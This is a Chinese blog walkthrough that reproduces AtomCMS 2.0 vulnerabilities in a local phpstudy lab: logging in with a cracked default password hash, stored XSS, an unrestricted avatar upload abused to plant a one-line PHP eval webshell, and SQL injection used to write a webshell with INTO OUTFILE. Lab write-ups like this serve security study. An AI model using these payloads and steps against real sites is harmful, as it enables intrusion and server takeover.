AtomCMS“靶场“

AtomCMS“靶场“

AtomCMS文件上传漏洞,xss漏洞

文章目录

  • AtomCMS文件上传漏洞,xss漏洞
    • 复现过程
      • phpstudy中放置网站源代码
      • mysql中建立网站数据库
        • 1.添加环境变量
        • 2.建立数据库
        • 3.导入数据表
      • 1.登录网站
      • 2.XSS攻击
      • 3.文件上传漏洞
        • sql注入漏洞

验证工具:

windows11+phpstudy+AtomCMS2.0

复现过程

phpstudy中放置网站源代码

1.将Atom.CMS-master.zip解压后的文件夹Atom.CMS-master改个名AtomCMS然后移动到\phpstudy_pro\WWW文件夹下,改名的目的是使用方便

image-20220414164801050

2.进入AtomCMS目录

image-20220414164904121

进入config子目录

image-20220414164927403

用vscode等编辑器打开connection.php

mysqli-connect函数的参数修改为如图所示

image-20220414165210458

这里localhost不用改

root是mysql软件的用户名

涂红的是我设置的mysql中root用户的密码

mysql中建立网站数据库

1.添加环境变量

phpstudy中的MySQL数据库是不能够使用命令行操作的,如果想要在命令提示符中使用MySQL命令.就得把MySQL的bin目录添加到系统环境变量path下,下面就是添加过程

打开phpstudy,记住正在使用的MySQL版本号

image-20220414165408500

然后将balabala\phpstudy_pro\Extensions\MySQL<版本号>\bin目录添加到环境变量path

比如在我的电脑上就是D:\phpstudy_pro\Extensions\MySQL5.7.26\bin

将其添加到环境变量path

image-20220414165609001

确定之后打开powershell或者cmd或者bash等等各种shell均可

输入mysql -u root -p命令

如果出现Enter password:字样则表明环境变量添加成功

image-20220414165924994

这里密码默认为root

也可以在phpstudy上修改

在这里插入图片描述

这里鼠标移动到密码上就会显示明文,即mysql软件的登录密码

2.建立数据库

我们刚才修改connection.php时是这样写的:

$dbc = mysqli_connect('localhost', 'root', 'balabala', 'atomcms') OR die('Could not connect because: '.mysqli_connect_error());

现在我们用root账户和balabala密码登录了,只需要建立一个名字叫atomcms的数据库

mysql> create database atomcms;
Query OK, 1 row affected (0.00 sec)

到此数据库建立完毕

3.导入数据表

网站的根目录balabala\phpstudy_pro\WWW\AtomCMS下面有这么两个东西

image-20220414170500078

我们需要导入他们到atomcms数据库

这两个文件作用相同,版本不同,database.sql是老版本网站的,database-video81.sql是新版本网站的.

已经测试过导入database-video81.sql会有一些不兼容,并且测试不出文件上传漏洞

两者的区别

image-20220414170746040

在users表中栏目不同,就是这个栏目使得avater会导致一些错误

具体后果不具体展开了

这里导入database.sql

注意在导入之前先使用use命令指定使用atomcms数据库

mysql> use atomcms;
Database changed
mysql> source D:\phpstudy_pro\WWW\AtomCMS\database-video81.sql
Query OK, 0 rows affected, 1 warning (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Query OK, 0 rows affected (0.02 sec)
Query OK, 2 rows affected (0.02 sec)
Records: 2  Duplicates: 0  Warnings: 0
Query OK, 0 rows affected (0.01 sec)
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0
Query OK, 0 rows affected (0.02 sec)
Query OK, 5 rows affected (0.00 sec)
Records: 5  Duplicates: 0  Warnings: 0

到此数据库建立完毕

1.登录网站

重启一下phpstudy里面的apache和mysql服务

然后在浏览器URL行输入127.0.0.1/AtomCMS之后浏览器显示页面如下:

image-20220414171124113

网站的导航页属实没有做好,这里无法进行任何跳转

再在域名行输入127.0.0.1/atomCMS/admin/login.php就来到了登录页面

image-20220414171249579

观察这个页面只有登录没有注册,我们需要一个可以登录的账号密码

观察phpstudy_pro\WWW\AtomCMS\admin\login.php

里面这样写道:

image-20220414171549199

可以发现的是,通过查atomcms.users表验证email和password字段进行登录,查password之前首先把password用SHA1加密然后查表,可见表中的password都是SHA1加密之后的字段

另提一嘴,这里$_POST[email]处没有经过过滤,是存在sql注入漏洞的

而刚才database.sql文件中有写:

INSERT INTO `users` (`id`, `first`, `last`, `email`, `password`, `status`) VALUES
(1, 'Alan2', 'Quandt', 'alan@alan.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(2, 'Justin', 'Gilson', 'justin@justin.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(3, 'John', 'Rainey', 'john@john.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(5, 'John', 'Doe', 'john@doe.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 0),
(6, 'Jane', 'Doe', 'jane@doe.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1);

也就是说导入该sql文件到数据库时相当于注册了一些账号

距离登录只差一步之遥,我们选哟知道啊这些password的SHA1值对应的明文是什么

显然SHA1是不能解密的,只能猜测密码然后去试

不过这里五个用户名的密码都是相同的SHA1值,可以啃腚的是明文相同

到这个网站在线解密sha1在线解密 在线加密 (ttmd5.com)

image-20220414173441970

虽然不登录只能看到p开头,但是也可以推测是password字样

image-20220414173540465

submit之后就登录了

image-20220414173610854

2.XSS攻击

最上面一些选项中点选Users页,此时URL变成http://127.0.0.1/atomCMS/admin/index.php?page=users

image-20220414174332513

观察到右侧有好多可以填写的框

都写上xss攻击语句

image-20220414174414241

Save之后

在这里插入图片描述

3.文件上传漏洞

还是在Users栏,选一个Gilson,Justin用户

image-20220414174612632

题外话:

Alan的头像是一个正在吃手手的人

Justin和John看来是Alan的两只宠物狗

检查Justin的头像的前端代码

image-20220414174801718

可以发现它的位置,那么如果是可以上传php文件并显示位置,我们就可以利用一句话木马了

试图上传一个shell.php木马

shell.php:

<?php eval(@$_POST['a']); ?>

image-20220414174911530

image-20220414174947243

显示上传成功了,此时再在刚才的头像位置审查源代码

在这里插入图片描述

发现style="background-image: url('../uploads/1649929771921.php')"

说明我们一句话木马上传成功

使用中国蚁剑

image-20220414175245768

这里"连接密码"和刚才一句话木马中的口令相同

测试连接之后返回连接成功

点击添加之后就取得了webshell

image-20220414175424049

整台计算机都被控制了

观察源代码可以发现更多的漏洞

sql注入漏洞

在这里插入图片描述

关键在于这三句话:

$id = $_GET['id'];
$q = "SELECT avatar FROM users WHERE id = $id";
$r = mysqli_query($dbc, $q);

首先$id使用GET方法从URL行传递,这个可以在前端任意修改

后面就是数字型sql注入了

考虑如何使用mysql输出一个shell文件

mysql> select 123456 into outfile 'C:/Users/86135/Desktop/atomcms/shell.php';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

这种错误表明输出文件功能被关闭或者只能位于某些特定目录下

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         | NULL  |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)

这表明输出文件是禁止的

我们假设一个网站的该选项是开着的,在phpstudy集成环境中应该这样改:

phpstudy_pro\Extensions\MySQL5.7.26\my.ini中的[mysqld]栏目下面加一行secure_file_priv=

image-20220414181452958

然后在phpstudy中重启MySQL5.7.26服务

之后用shell登录MySQL然后输出文件

mysql> select 123456 into outfile 'C:/Users/86135/Desktop/atomcms/shell.php';
Query OK, 1 row affected (0.00 sec)

发现成功了

更狠一点

mysql> select "<?php eval(@$_POST['a']); ?>" into outfile 'C:/Users/86135/Desktop/atomcms/webShell.php';
Query OK, 1 row affected (0.00 sec)

直接输出一个木马

image-20220414181826307

考虑如何在网站上利用sql注入输出一个木马文件

假设网站的Mysql可以输出文件

下面我们要做的是找一个我们能够访问到的地方输出木马文件

在linux上,网站根目录通常在\var\www\html\那么我们只需要把木马文件输出到这个位置就可以用菜刀或者蚁剑连接了

在windows上,如果用phpstudy建站,通常会在D://phpstudy_pro/WWW/

在我的电脑上AtomCMS根目录位置是D://phpstudy_pro/WWW/AtomCMS/

                       

点击阅读全文

上一篇 2023年 6月 7日 am10:52
下一篇 2023年 6月 7日 am10:54